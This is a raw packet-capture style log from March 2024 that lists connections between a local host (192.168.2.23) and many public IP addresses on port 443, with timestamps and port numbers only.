Mar 21, 2024 05:25:10.938354015 CET	12232	443	192.168.2.23	2.202.192.157
Mar 21, 2024 05:25:10.938354015 CET	12232	443	192.168.2.23	210.127.219.191
Mar 21, 2024 05:25:10.938357115 CET	443	12232	210.245.68.207	192.168.2.23
Mar 21, 2024 05:25:10.938354015 CET	12232	443	192.168.2.23	2.26.214.191
Mar 21, 2024 05:25:10.938361883 CET	443	12232	37.10.198.40	192.168.2.23
Mar 21, 2024 05:25:10.938364029 CET	443	12232	210.127.219.191	192.168.2.23
Mar 21, 2024 05:25:10.938365936 CET	443	12232	2.238.115.233	192.168.2.23
Mar 21, 2024 05:25:10.938365936 CET	12232	443	192.168.2.23	79.119.93.104
Mar 21, 2024 05:25:10.938369036 CET	12232	443	192.168.2.23	178.12.191.8
Mar 21, 2024 05:25:10.938373089 CET	443	12232	2.26.214.191	192.168.2.23
Mar 21, 2024 05:25:10.938374996 CET	443	12232	2.202.192.157	192.168.2.23
Mar 21, 2024 05:25:10.938375950 CET	12232	443	192.168.2.23	37.206.194.73
Mar 21, 2024 05:25:10.938383102 CET	443	12232	37.206.194.73	192.168.2.23
Mar 21, 2024 05:25:10.938383102 CET	12232	443	192.168.2.23	37.172.84.90
Mar 21, 2024 05:25:10.938384056 CET	12232	443	192.168.2.23	5.157.133.227
Mar 21, 2024 05:25:10.938384056 CET	12232	443	192.168.2.23	94.20.248.62
Mar 21, 2024 05:25:10.938384056 CET	12232	443	192.168.2.23	5.5.41.235
Mar 21, 2024 05:25:10.938385010 CET	12232	443	192.168.2.23	118.69.250.183
Mar 21, 2024 05:25:10.938389063 CET	12232	443	192.168.2.23	37.202.154.46
Mar 21, 2024 05:25:10.938389063 CET	12232	443	192.168.2.23	210.245.68.207
Mar 21, 2024 05:25:10.938395977 CET	12232	443	192.168.2.23	2.204.164.182
Mar 21, 2024 05:25:10.938401937 CET	443	12232	2.204.164.182	192.168.2.23
Mar 21, 2024 05:25:10.938409090 CET	12232	443	192.168.2.23	2.238.115.233
Mar 21, 2024 05:25:10.938409090 CET	12232	443	192.168.2.23	2.202.192.157
Mar 21, 2024 05:25:10.938411951 CET	12232	443	192.168.2.23	210.127.219.191
Mar 21, 2024 05:25:10.938421011 CET	12232	443	192.168.2.23	2.26.214.191
Mar 21, 2024 05:25:10.938422918 CET	12232	443	192.168.2.23	37.10.198.40
Mar 21, 2024 05:25:10.938424110 CET	12232	443	192.168.2.23	94.17.39.132
Mar 21, 2024 05:25:10.938425064 CET	12232	443	192.168.2.23	37.206.194.73
Mar 21, 2024 05:25:10.938430071 CET	443	12232	94.17.39.132	192.168.2.23
Mar 21, 2024 05:25:10.938442945 CET	12232	443	192.168.2.23	2.204.164.182
Mar 21, 2024 05:25:10.938445091 CET	12232	443	192.168.2.23	210.58.112.209
Mar 21, 2024 05:25:10.938456059 CET	443	12232	210.58.112.209	192.168.2.23
Mar 21, 2024 05:25:10.938460112 CET	12232	443	192.168.2.23	94.223.133.28
Mar 21, 2024 05:25:10.938460112 CET	12232	443	192.168.2.23	210.33.76.122
Mar 21, 2024 05:25:10.938460112 CET	12232	443	192.168.2.23	94.32.132.30
Mar 21, 2024 05:25:10.938462019 CET	12232	443	192.168.2.23	118.223.38.51
Mar 21, 2024 05:25:10.938467979 CET	443	12232	210.33.76.122	192.168.2.23
Mar 21, 2024 05:25:10.938467979 CET	443	12232	94.223.133.28	192.168.2.23
Mar 21, 2024 05:25:10.938469887 CET	443	12232	118.223.38.51	192.168.2.23
Mar 21, 2024 05:25:10.938471079 CET	12232	443	192.168.2.23	94.17.39.132
Mar 21, 2024 05:25:10.938477039 CET	12232	443	192.168.2.23	2.61.232.186
Mar 21, 2024 05:25:10.938477039 CET	12232	443	192.168.2.23	94.195.154.224
Mar 21, 2024 05:25:10.938477039 CET	443	12232	94.32.132.30	192.168.2.23
Mar 21, 2024 05:25:10.938477993 CET	12232	443	192.168.2.23	94.205.18.233
Mar 21, 2024 05:25:10.938479900 CET	12232	443	192.168.2.23	212.205.113.140
Mar 21, 2024 05:25:10.938483953 CET	443	12232	2.61.232.186	192.168.2.23
Mar 21, 2024 05:25:10.938484907 CET	443	12232	212.205.113.140	192.168.2.23
Mar 21, 2024 05:25:10.938484907 CET	443	12232	94.205.18.233	192.168.2.23
Mar 21, 2024 05:25:10.938488007 CET	12232	443	192.168.2.23	2.195.128.21
Mar 21, 2024 05:25:10.938488007 CET	12232	443	192.168.2.23	42.131.131.235
Mar 21, 2024 05:25:10.938488960 CET	12232	443	192.168.2.23	79.228.157.215
Mar 21, 2024 05:25:10.938488960 CET	12232	443	192.168.2.23	79.161.197.77
Mar 21, 2024 05:25:10.938488960 CET	12232	443	192.168.2.23	37.44.236.174
Mar 21, 2024 05:25:10.938493013 CET	443	12232	94.195.154.224	192.168.2.23
Mar 21, 2024 05:25:10.938493967 CET	12232	443	192.168.2.23	2.152.41.62
Mar 21, 2024 05:25:10.938498974 CET	443	12232	2.195.128.21	192.168.2.23
Mar 21, 2024 05:25:10.938494921 CET	12232	443	192.168.2.23	210.33.76.122
Mar 21, 2024 05:25:10.938497066 CET	443	12232	79.228.157.215	192.168.2.23
Mar 21, 2024 05:25:10.938498974 CET	12232	443	192.168.2.23	178.130.118.227
Mar 21, 2024 05:25:10.938498974 CET	12232	443	192.168.2.23	210.58.112.209
Mar 21, 2024 05:25:10.938508034 CET	443	12232	2.152.41.62	192.168.2.23
Mar 21, 2024 05:25:10.938508034 CET	443	12232	42.131.131.235	192.168.2.23
Mar 21, 2024 05:25:10.938510895 CET	443	12232	79.161.197.77	192.168.2.23
Mar 21, 2024 05:25:10.938513041 CET	12232	443	192.168.2.23	118.223.38.51
Mar 21, 2024 05:25:10.938513041 CET	12232	443	192.168.2.23	212.205.113.140
Mar 21, 2024 05:25:10.938514948 CET	443	12232	178.130.118.227	192.168.2.23
Mar 21, 2024 05:25:10.938518047 CET	443	12232	37.44.236.174	192.168.2.23
Mar 21, 2024 05:25:10.938529968 CET	12232	443	192.168.2.23	2.61.232.186
Mar 21, 2024 05:25:10.938535929 CET	12232	443	192.168.2.23	94.223.133.28
Mar 21, 2024 05:25:10.938535929 CET	12232	443	192.168.2.23	94.32.132.30
Mar 21, 2024 05:25:10.938536882 CET	12232	443	192.168.2.23	94.205.18.233
Mar 21, 2024 05:25:10.938539982 CET	12232	443	192.168.2.23	2.152.41.62
Mar 21, 2024 05:25:10.938541889 CET	12232	443	192.168.2.23	94.195.154.224
Mar 21, 2024 05:25:10.938541889 CET	12232	443	192.168.2.23	2.195.128.21
Mar 21, 2024 05:25:10.938553095 CET	12232	443	192.168.2.23	42.131.131.235
Mar 21, 2024 05:25:10.938555002 CET	12232	443	192.168.2.23	178.130.118.227
Mar 21, 2024 05:25:10.938558102 CET	12232	443	192.168.2.23	79.228.157.215
Mar 21, 2024 05:25:10.938558102 CET	12232	443	192.168.2.23	37.44.236.174
Mar 21, 2024 05:25:10.938563108 CET	12232	443	192.168.2.23	118.152.136.74
Mar 21, 2024 05:25:10.938566923 CET	12232	443	192.168.2.23	79.161.197.77
Mar 21, 2024 05:25:10.938569069 CET	12232	443	192.168.2.23	109.181.197.79
Mar 21, 2024 05:25:10.938570023 CET	443	12232	118.152.136.74	192.168.2.23
Mar 21, 2024 05:25:10.938569069 CET	12232	443	192.168.2.23	118.53.67.251
Mar 21, 2024 05:25:10.938587904 CET	443	12232	109.181.197.79	192.168.2.23
Mar 21, 2024 05:25:10.938590050 CET	12232	443	192.168.2.23	79.159.156.29
Mar 21, 2024 05:25:10.938597918 CET	443	12232	79.159.156.29	192.168.2.23
Mar 21, 2024 05:25:10.938600063 CET	12232	443	192.168.2.23	118.152.136.74
Mar 21, 2024 05:25:10.938600063 CET	12232	443	192.168.2.23	5.79.232.13
Mar 21, 2024 05:25:10.938601971 CET	443	12232	118.53.67.251	192.168.2.23
Mar 21, 2024 05:25:10.938611984 CET	12232	443	192.168.2.23	210.155.67.129
Mar 21, 2024 05:25:10.938611984 CET	443	12232	5.79.232.13	192.168.2.23
Mar 21, 2024 05:25:10.938611984 CET	12232	443	192.168.2.23	109.54.231.100
Mar 21, 2024 05:25:10.938618898 CET	443	12232	210.155.67.129	192.168.2.23
Mar 21, 2024 05:25:10.938623905 CET	443	12232	109.54.231.100	192.168.2.23
Mar 21, 2024 05:25:10.938628912 CET	12232	443	192.168.2.23	5.152.19.0
Mar 21, 2024 05:25:10.938630104 CET	12232	443	192.168.2.23	109.181.197.79
Mar 21, 2024 05:25:10.938630104 CET	12232	443	192.168.2.23	118.53.67.251
Mar 21, 2024 05:25:10.938632965 CET	12232	443	192.168.2.23	79.208.8.104
Mar 21, 2024 05:25:10.938632965 CET	12232	443	192.168.2.23	79.159.156.29
Mar 21, 2024 05:25:10.938636065 CET	12232	443	192.168.2.23	2.92.183.220
Mar 21, 2024 05:25:10.938637972 CET	443	12232	79.208.8.104	192.168.2.23
Mar 21, 2024 05:25:10.938642025 CET	443	12232	2.92.183.220	192.168.2.23
Mar 21, 2024 05:25:10.938647032 CET	443	12232	5.152.19.0	192.168.2.23
Mar 21, 2024 05:25:10.938657045 CET	12232	443	192.168.2.23	5.79.232.13
Mar 21, 2024 05:25:10.938658953 CET	12232	443	192.168.2.23	210.155.67.129
Mar 21, 2024 05:25:10.938659906 CET	12232	443	192.168.2.23	109.54.231.100
Mar 21, 2024 05:25:10.938659906 CET	12232	443	192.168.2.23	79.208.8.104
Mar 21, 2024 05:25:10.938663960 CET	12232	443	192.168.2.23	79.119.237.115
Mar 21, 2024 05:25:10.938668966 CET	12232	443	192.168.2.23	2.92.183.220
Mar 21, 2024 05:25:10.938672066 CET	443	12232	79.119.237.115	192.168.2.23
Mar 21, 2024 05:25:10.938683033 CET	12232	443	192.168.2.23	210.152.33.100
Mar 21, 2024 05:25:10.938687086 CET	12232	443	192.168.2.23	42.0.0.70
Mar 21, 2024 05:25:10.938688040 CET	12232	443	192.168.2.23	5.152.19.0
Mar 21, 2024 05:25:10.938688040 CET	443	12232	210.152.33.100	192.168.2.23
Mar 21, 2024 05:25:10.938693047 CET	443	12232	42.0.0.70	192.168.2.23
Mar 21, 2024 05:25:10.938694954 CET	12232	443	192.168.2.23	79.125.54.249
Mar 21, 2024 05:25:10.938697100 CET	12232	443	192.168.2.23	210.176.135.154
Mar 21, 2024 05:25:10.938698053 CET	12232	443	192.168.2.23	178.117.34.218
Mar 21, 2024 05:25:10.938698053 CET	12232	443	192.168.2.23	79.200.45.136
Mar 21, 2024 05:25:10.938703060 CET	12232	443	192.168.2.23	79.119.237.115
Mar 21, 2024 05:25:10.938704014 CET	443	12232	210.176.135.154	192.168.2.23
Mar 21, 2024 05:25:10.938704967 CET	443	12232	178.117.34.218	192.168.2.23
Mar 21, 2024 05:25:10.938709974 CET	443	12232	79.125.54.249	192.168.2.23
Mar 21, 2024 05:25:10.938714981 CET	443	12232	79.200.45.136	192.168.2.23
Mar 21, 2024 05:25:10.938718081 CET	12232	443	192.168.2.23	5.3.239.52
Mar 21, 2024 05:25:10.938723087 CET	443	12232	5.3.239.52	192.168.2.23
Mar 21, 2024 05:25:10.938724995 CET	12232	443	192.168.2.23	42.184.77.199
Mar 21, 2024 05:25:10.938724995 CET	12232	443	192.168.2.23	210.152.33.100
Mar 21, 2024 05:25:10.938728094 CET	12232	443	192.168.2.23	94.14.94.17
Mar 21, 2024 05:25:10.938729048 CET	12232	443	192.168.2.23	42.0.0.70
Mar 21, 2024 05:25:10.938730955 CET	443	12232	42.184.77.199	192.168.2.23
Mar 21, 2024 05:25:10.938729048 CET	12232	443	192.168.2.23	79.174.225.173
Mar 21, 2024 05:25:10.938734055 CET	12232	443	192.168.2.23	210.202.116.21
Mar 21, 2024 05:25:10.938739061 CET	443	12232	210.202.116.21	192.168.2.23
Mar 21, 2024 05:25:10.938740015 CET	12232	443	192.168.2.23	178.117.34.218
Mar 21, 2024 05:25:10.938740015 CET	12232	443	192.168.2.23	79.200.45.136
Mar 21, 2024 05:25:10.938740969 CET	443	12232	94.14.94.17	192.168.2.23
Mar 21, 2024 05:25:10.938741922 CET	12232	443	192.168.2.23	210.176.135.154
Mar 21, 2024 05:25:10.938745975 CET	443	12232	79.174.225.173	192.168.2.23
Mar 21, 2024 05:25:10.938755035 CET	12232	443	192.168.2.23	178.122.234.136
Mar 21, 2024 05:25:10.938755035 CET	12232	443	192.168.2.23	79.125.54.249
Mar 21, 2024 05:25:10.938755035 CET	12232	443	192.168.2.23	79.193.132.34
Mar 21, 2024 05:25:10.938760996 CET	12232	443	192.168.2.23	37.133.9.39
Mar 21, 2024 05:25:10.938761950 CET	443	12232	178.122.234.136	192.168.2.23
Mar 21, 2024 05:25:10.938762903 CET	443	12232	79.193.132.34	192.168.2.23
Mar 21, 2024 05:25:10.938769102 CET	443	12232	37.133.9.39	192.168.2.23
Mar 21, 2024 05:25:10.938771009 CET	12232	443	192.168.2.23	42.184.77.199
Mar 21, 2024 05:25:10.938769102 CET	12232	443	192.168.2.23	5.3.239.52
Mar 21, 2024 05:25:10.938770056 CET	12232	443	192.168.2.23	210.202.116.21
Mar 21, 2024 05:25:10.938774109 CET	12232	443	192.168.2.23	79.174.225.173
Mar 21, 2024 05:25:10.938774109 CET	12232	443	192.168.2.23	94.14.94.17
Mar 21, 2024 05:25:10.938788891 CET	12232	443	192.168.2.23	79.193.132.34
Mar 21, 2024 05:25:10.938797951 CET	12232	443	192.168.2.23	178.122.234.136
Mar 21, 2024 05:25:10.938805103 CET	12232	443	192.168.2.23	37.133.9.39
Mar 21, 2024 05:25:10.938810110 CET	12232	443	192.168.2.23	37.72.247.213
Mar 21, 2024 05:25:10.938810110 CET	12232	443	192.168.2.23	210.198.10.205
Mar 21, 2024 05:25:10.938816071 CET	12232	443	192.168.2.23	5.208.59.136
Mar 21, 2024 05:25:10.938817978 CET	443	12232	37.72.247.213	192.168.2.23
Mar 21, 2024 05:25:10.938818932 CET	12232	443	192.168.2.23	118.164.125.6
Mar 21, 2024 05:25:10.938818932 CET	12232	443	192.168.2.23	94.216.122.252
Mar 21, 2024 05:25:10.938822985 CET	443	12232	5.208.59.136	192.168.2.23
Mar 21, 2024 05:25:10.938826084 CET	443	12232	118.164.125.6	192.168.2.23
Mar 21, 2024 05:25:10.938827991 CET	443	12232	210.198.10.205	192.168.2.23
Mar 21, 2024 05:25:10.938833952 CET	443	12232	94.216.122.252	192.168.2.23
Mar 21, 2024 05:25:10.938838005 CET	12232	443	192.168.2.23	2.113.163.223
Mar 21, 2024 05:25:10.938847065 CET	12232	443	192.168.2.23	109.127.87.106
Mar 21, 2024 05:25:10.938854933 CET	443	12232	2.113.163.223	192.168.2.23
Mar 21, 2024 05:25:10.938857079 CET	443	12232	109.127.87.106	192.168.2.23
Mar 21, 2024 05:25:10.938862085 CET	12232	443	192.168.2.23	118.164.125.6
Mar 21, 2024 05:25:10.938862085 CET	12232	443	192.168.2.23	118.68.75.74
Mar 21, 2024 05:25:10.938864946 CET	12232	443	192.168.2.23	94.186.17.239
Mar 21, 2024 05:25:10.938864946 CET	12232	443	192.168.2.23	37.226.111.71
Mar 21, 2024 05:25:10.938869953 CET	443	12232	118.68.75.74	192.168.2.23
Mar 21, 2024 05:25:10.938875914 CET	12232	443	192.168.2.23	210.61.129.175
Mar 21, 2024 05:25:10.938879967 CET	12232	443	192.168.2.23	118.4.163.219
Mar 21, 2024 05:25:10.938882113 CET	443	12232	210.61.129.175	192.168.2.23
Mar 21, 2024 05:25:10.938884020 CET	443	12232	94.186.17.239	192.168.2.23
Mar 21, 2024 05:25:10.938884974 CET	443	12232	118.4.163.219	192.168.2.23
Mar 21, 2024 05:25:10.938894033 CET	12232	443	192.168.2.23	118.68.75.74
Mar 21, 2024 05:25:10.938894987 CET	12232	443	192.168.2.23	109.127.87.106
Mar 21, 2024 05:25:10.938894987 CET	443	12232	37.226.111.71	192.168.2.23
Mar 21, 2024 05:25:10.938915014 CET	12232	443	192.168.2.23	212.12.66.82
Mar 21, 2024 05:25:10.938918114 CET	12232	443	192.168.2.23	79.175.109.106
Mar 21, 2024 05:25:10.938918114 CET	12232	443	192.168.2.23	178.201.124.52
Mar 21, 2024 05:25:10.938920021 CET	12232	443	192.168.2.23	94.64.121.110
Mar 21, 2024 05:25:10.938922882 CET	443	12232	212.12.66.82	192.168.2.23
Mar 21, 2024 05:25:10.938924074 CET	443	12232	178.201.124.52	192.168.2.23
Mar 21, 2024 05:25:10.938925028 CET	443	12232	79.175.109.106	192.168.2.23
Mar 21, 2024 05:25:10.938925982 CET	443	12232	94.64.121.110	192.168.2.23
Mar 21, 2024 05:25:10.938925982 CET	12232	443	192.168.2.23	118.37.151.128
Mar 21, 2024 05:25:10.938934088 CET	443	12232	118.37.151.128	192.168.2.23
Mar 21, 2024 05:25:10.938939095 CET	12232	443	192.168.2.23	210.158.238.16
Mar 21, 2024 05:25:10.938940048 CET	12232	443	192.168.2.23	42.126.19.55
Mar 21, 2024 05:25:10.938941002 CET	12232	443	192.168.2.23	118.75.160.17
Mar 21, 2024 05:25:10.938944101 CET	12232	443	192.168.2.23	42.135.182.217
Mar 21, 2024 05:25:10.938945055 CET	443	12232	210.158.238.16	192.168.2.23
Mar 21, 2024 05:25:10.938944101 CET	12232	443	192.168.2.23	212.246.211.156
Mar 21, 2024 05:25:10.938944101 CET	12232	443	192.168.2.23	2.81.189.56
Mar 21, 2024 05:25:10.938946962 CET	12232	443	192.168.2.23	2.171.104.91
Mar 21, 2024 05:25:10.938946962 CET	12232	443	192.168.2.23	94.114.171.5
Mar 21, 2024 05:25:10.938946962 CET	12232	443	192.168.2.23	37.183.229.133
Mar 21, 2024 05:25:10.938946962 CET	12232	443	192.168.2.23	42.92.146.238
Mar 21, 2024 05:25:10.938946962 CET	12232	443	192.168.2.23	94.216.122.252
Mar 21, 2024 05:25:10.938946962 CET	12232	443	192.168.2.23	178.34.214.33
Mar 21, 2024 05:25:10.938949108 CET	443	12232	42.126.19.55	192.168.2.23
Mar 21, 2024 05:25:10.938951969 CET	443	12232	118.75.160.17	192.168.2.23
Mar 21, 2024 05:25:10.938951969 CET	12232	443	192.168.2.23	37.164.38.214
Mar 21, 2024 05:25:10.938954115 CET	12232	443	192.168.2.23	109.52.176.12
Mar 21, 2024 05:25:10.938955069 CET	12232	443	192.168.2.23	5.42.181.64
Mar 21, 2024 05:25:10.938956022 CET	12232	443	192.168.2.23	2.149.63.98
Mar 21, 2024 05:25:10.938957930 CET	443	12232	37.164.38.214	192.168.2.23
Mar 21, 2024 05:25:10.938958883 CET	12232	443	192.168.2.23	118.199.161.70
Mar 21, 2024 05:25:10.938957930 CET	443	12232	2.171.104.91	192.168.2.23
Mar 21, 2024 05:25:10.938958883 CET	12232	443	192.168.2.23	178.253.40.189
Mar 21, 2024 05:25:10.938961983 CET	12232	443	192.168.2.23	109.240.174.221
Mar 21, 2024 05:25:10.938966990 CET	443	12232	109.52.176.12	192.168.2.23
Mar 21, 2024 05:25:10.938966990 CET	443	12232	2.149.63.98	192.168.2.23
Mar 21, 2024 05:25:10.938966990 CET	443	12232	42.135.182.217	192.168.2.23
Mar 21, 2024 05:25:10.938967943 CET	443	12232	5.42.181.64	192.168.2.23
Mar 21, 2024 05:25:10.938970089 CET	443	12232	118.199.161.70	192.168.2.23
Mar 21, 2024 05:25:10.938971043 CET	443	12232	109.240.174.221	192.168.2.23
Mar 21, 2024 05:25:10.938971043 CET	12232	443	192.168.2.23	79.175.109.106
Mar 21, 2024 05:25:10.938972950 CET	443	12232	212.246.211.156	192.168.2.23
Mar 21, 2024 05:25:10.938975096 CET	443	12232	37.183.229.133	192.168.2.23
Mar 21, 2024 05:25:10.938978910 CET	443	12232	42.92.146.238	192.168.2.23
Mar 21, 2024 05:25:10.938978910 CET	12232	443	192.168.2.23	5.208.59.136
Mar 21, 2024 05:25:10.938980103 CET	12232	443	192.168.2.23	210.61.129.175
Mar 21, 2024 05:25:10.938980103 CET	443	12232	178.253.40.189	192.168.2.23
Mar 21, 2024 05:25:10.938980103 CET	12232	443	192.168.2.23	2.113.163.223
Mar 21, 2024 05:25:10.938982964 CET	443	12232	94.114.171.5	192.168.2.23
Mar 21, 2024 05:25:10.938982010 CET	12232	443	192.168.2.23	42.126.19.55
Mar 21, 2024 05:25:10.938980103 CET	12232	443	192.168.2.23	94.186.17.239
Mar 21, 2024 05:25:10.938983917 CET	443	12232	178.34.214.33	192.168.2.23
Mar 21, 2024 05:25:10.938990116 CET	443	12232	2.81.189.56	192.168.2.23
Mar 21, 2024 05:25:10.938980103 CET	12232	443	192.168.2.23	178.201.124.52
Mar 21, 2024 05:25:10.938991070 CET	12232	443	192.168.2.23	37.72.247.213
Mar 21, 2024 05:25:10.938991070 CET	12232	443	192.168.2.23	210.198.10.205
Mar 21, 2024 05:25:10.938983917 CET	12232	443	192.168.2.23	210.158.238.16
Mar 21, 2024 05:25:10.938983917 CET	12232	443	192.168.2.23	37.164.38.214
Mar 21, 2024 05:25:10.938980103 CET	12232	443	192.168.2.23	37.226.111.71
Mar 21, 2024 05:25:10.938991070 CET	12232	443	192.168.2.23	118.37.151.128
Mar 21, 2024 05:25:10.938981056 CET	12232	443	192.168.2.23	94.64.121.110
Mar 21, 2024 05:25:10.938994884 CET	12232	443	192.168.2.23	109.52.176.12
Mar 21, 2024 05:25:10.939002037 CET	12232	443	192.168.2.23	118.4.163.219
Mar 21, 2024 05:25:10.939002037 CET	12232	443	192.168.2.23	2.171.104.91
Mar 21, 2024 05:25:10.939003944 CET	12232	443	192.168.2.23	212.12.66.82
Mar 21, 2024 05:25:10.939003944 CET	12232	443	192.168.2.23	118.75.160.17
Mar 21, 2024 05:25:10.939016104 CET	12232	443	192.168.2.23	178.253.40.189
Mar 21, 2024 05:25:10.939016104 CET	12232	443	192.168.2.23	42.135.182.217
Mar 21, 2024 05:25:10.939016104 CET	12232	443	192.168.2.23	5.42.181.64
Mar 21, 2024 05:25:10.939018011 CET	12232	443	192.168.2.23	94.114.171.5
Mar 21, 2024 05:25:10.939018011 CET	12232	443	192.168.2.23	42.92.146.238
Mar 21, 2024 05:25:10.939019918 CET	12232	443	192.168.2.23	2.149.63.98
Mar 21, 2024 05:25:10.939023018 CET	12232	443	192.168.2.23	118.199.161.70
Mar 21, 2024 05:25:10.939024925 CET	12232	443	192.168.2.23	178.34.214.33
Mar 21, 2024 05:25:10.939029932 CET	12232	443	192.168.2.23	94.253.85.90
Mar 21, 2024 05:25:10.939033031 CET	12232	443	192.168.2.23	212.92.102.54
Mar 21, 2024 05:25:10.939035892 CET	443	12232	94.253.85.90	192.168.2.23
Mar 21, 2024 05:25:10.939038038 CET	443	12232	212.92.102.54	192.168.2.23
Mar 21, 2024 05:25:10.939044952 CET	12232	443	192.168.2.23	37.11.33.196
Mar 21, 2024 05:25:10.939047098 CET	12232	443	192.168.2.23	5.218.34.39
Mar 21, 2024 05:25:10.939047098 CET	12232	443	192.168.2.23	37.183.229.133
Mar 21, 2024 05:25:10.939049006 CET	12232	443	192.168.2.23	109.240.174.221
Mar 21, 2024 05:25:10.939052105 CET	12232	443	192.168.2.23	212.246.211.156
Mar 21, 2024 05:25:10.939052105 CET	12232	443	192.168.2.23	2.99.16.237
Mar 21, 2024 05:25:10.939052105 CET	12232	443	192.168.2.23	2.81.189.56
Mar 21, 2024 05:25:10.939058065 CET	443	12232	5.218.34.39	192.168.2.23
Mar 21, 2024 05:25:10.939058065 CET	443	12232	37.11.33.196	192.168.2.23
Mar 21, 2024 05:25:10.939059973 CET	12232	443	192.168.2.23	2.120.105.212
Mar 21, 2024 05:25:10.939059973 CET	12232	443	192.168.2.23	37.76.133.24
Mar 21, 2024 05:25:10.939064026 CET	12232	443	192.168.2.23	2.169.112.229
Mar 21, 2024 05:25:10.939064980 CET	12232	443	192.168.2.23	5.215.153.159
Mar 21, 2024 05:25:10.939064026 CET	12232	443	192.168.2.23	118.167.57.150
Mar 21, 2024 05:25:10.939069033 CET	12232	443	192.168.2.23	212.92.102.54
Mar 21, 2024 05:25:10.939069033 CET	443	12232	2.99.16.237	192.168.2.23
Mar 21, 2024 05:25:10.939069986 CET	443	12232	2.120.105.212	192.168.2.23
Mar 21, 2024 05:25:10.939070940 CET	443	12232	5.215.153.159	192.168.2.23
Mar 21, 2024 05:25:10.939073086 CET	12232	443	192.168.2.23	94.253.85.90
Mar 21, 2024 05:25:10.939074039 CET	12232	443	192.168.2.23	42.9.106.153
Mar 21, 2024 05:25:10.939079046 CET	443	12232	2.169.112.229	192.168.2.23
Mar 21, 2024 05:25:10.939080954 CET	443	12232	42.9.106.153	192.168.2.23
Mar 21, 2024 05:25:10.939085007 CET	12232	443	192.168.2.23	2.201.178.245
Mar 21, 2024 05:25:10.939086914 CET	443	12232	118.167.57.150	192.168.2.23
Mar 21, 2024 05:25:10.939090014 CET	12232	443	192.168.2.23	37.11.33.196
Mar 21, 2024 05:25:10.939090967 CET	443	12232	2.201.178.245	192.168.2.23
Mar 21, 2024 05:25:10.939095020 CET	12232	443	192.168.2.23	5.218.34.39
Mar 21, 2024 05:25:10.939096928 CET	443	12232	37.76.133.24	192.168.2.23
Mar 21, 2024 05:25:10.939102888 CET	12232	443	192.168.2.23	5.215.153.159
Mar 21, 2024 05:25:10.939102888 CET	12232	443	192.168.2.23	2.120.105.212
Mar 21, 2024 05:25:10.939109087 CET	12232	443	192.168.2.23	2.99.16.237
Mar 21, 2024 05:25:10.939116955 CET	12232	443	192.168.2.23	2.169.112.229
Mar 21, 2024 05:25:10.939120054 CET	12232	443	192.168.2.23	42.9.106.153
Mar 21, 2024 05:25:10.939126015 CET	12232	443	192.168.2.23	118.73.134.80
Mar 21, 2024 05:25:10.939126968 CET	12232	443	192.168.2.23	2.129.203.104
Mar 21, 2024 05:25:10.939126968 CET	12232	443	192.168.2.23	118.167.57.150
Mar 21, 2024 05:25:10.939126968 CET	12232	443	192.168.2.23	2.35.132.251
Mar 21, 2024 05:25:10.939131975 CET	12232	443	192.168.2.23	178.146.243.192
Mar 21, 2024 05:25:10.939133883 CET	443	12232	118.73.134.80	192.168.2.23
Mar 21, 2024 05:25:10.939136028 CET	443	12232	2.129.203.104	192.168.2.23
Mar 21, 2024 05:25:10.939136028 CET	443	12232	2.35.132.251	192.168.2.23
Mar 21, 2024 05:25:10.939136982 CET	443	12232	178.146.243.192	192.168.2.23
Mar 21, 2024 05:25:10.939141035 CET	12232	443	192.168.2.23	2.201.178.245
Mar 21, 2024 05:25:10.939151049 CET	12232	443	192.168.2.23	37.76.133.24
Mar 21, 2024 05:25:10.939151049 CET	12232	443	192.168.2.23	118.3.186.115
Mar 21, 2024 05:25:10.939152002 CET	12232	443	192.168.2.23	94.172.176.148
Mar 21, 2024 05:25:10.939161062 CET	443	12232	118.3.186.115	192.168.2.23
Mar 21, 2024 05:25:10.939162016 CET	12232	443	192.168.2.23	118.205.49.189
Mar 21, 2024 05:25:10.939162016 CET	12232	443	192.168.2.23	37.217.144.183
Mar 21, 2024 05:25:10.939162970 CET	443	12232	94.172.176.148	192.168.2.23
Mar 21, 2024 05:25:10.939163923 CET	12232	443	192.168.2.23	118.73.134.80
Mar 21, 2024 05:25:10.939167976 CET	443	12232	118.205.49.189	192.168.2.23
Mar 21, 2024 05:25:10.939167976 CET	12232	443	192.168.2.23	94.82.8.152
Mar 21, 2024 05:25:10.939177036 CET	443	12232	37.217.144.183	192.168.2.23
Mar 21, 2024 05:25:10.939177036 CET	443	12232	94.82.8.152	192.168.2.23
Mar 21, 2024 05:25:10.939177036 CET	12232	443	192.168.2.23	109.121.105.55
Mar 21, 2024 05:25:10.939181089 CET	12232	443	192.168.2.23	2.35.132.251
Mar 21, 2024 05:25:10.939177036 CET	12232	443	192.168.2.23	2.129.203.104
Mar 21, 2024 05:25:10.939187050 CET	12232	443	192.168.2.23	178.146.243.192
Mar 21, 2024 05:25:10.939194918 CET	12232	443	192.168.2.23	118.3.186.115
Mar 21, 2024 05:25:10.939196110 CET	443	12232	109.121.105.55	192.168.2.23
Mar 21, 2024 05:25:10.939203024 CET	12232	443	192.168.2.23	118.205.49.189
Mar 21, 2024 05:25:10.939203024 CET	12232	443	192.168.2.23	37.217.144.183
Mar 21, 2024 05:25:10.939212084 CET	12232	443	192.168.2.23	79.30.103.229
Mar 21, 2024 05:25:10.939212084 CET	12232	443	192.168.2.23	94.172.176.148
Mar 21, 2024 05:25:10.939219952 CET	443	12232	79.30.103.229	192.168.2.23
Mar 21, 2024 05:25:10.939224005 CET	12232	443	192.168.2.23	109.121.105.55
Mar 21, 2024 05:25:10.939225912 CET	12232	443	192.168.2.23	94.82.8.152
Mar 21, 2024 05:25:10.939229965 CET	12232	443	192.168.2.23	109.47.143.105
Mar 21, 2024 05:25:10.939233065 CET	12232	443	192.168.2.23	178.207.129.8
Mar 21, 2024 05:25:10.939234972 CET	443	12232	109.47.143.105	192.168.2.23
Mar 21, 2024 05:25:10.939238071 CET	12232	443	192.168.2.23	5.255.110.200
Mar 21, 2024 05:25:10.939239025 CET	443	12232	178.207.129.8	192.168.2.23
Mar 21, 2024 05:25:10.939240932 CET	12232	443	192.168.2.23	118.183.176.100
Mar 21, 2024 05:25:10.939240932 CET	12232	443	192.168.2.23	2.125.32.95
Mar 21, 2024 05:25:10.939243078 CET	443	12232	5.255.110.200	192.168.2.23
Mar 21, 2024 05:25:10.939246893 CET	12232	443	192.168.2.23	178.98.116.157
Mar 21, 2024 05:25:10.939249992 CET	443	12232	118.183.176.100	192.168.2.23
Mar 21, 2024 05:25:10.939258099 CET	12232	443	192.168.2.23	79.30.103.229
Mar 21, 2024 05:25:10.939261913 CET	443	12232	178.98.116.157	192.168.2.23
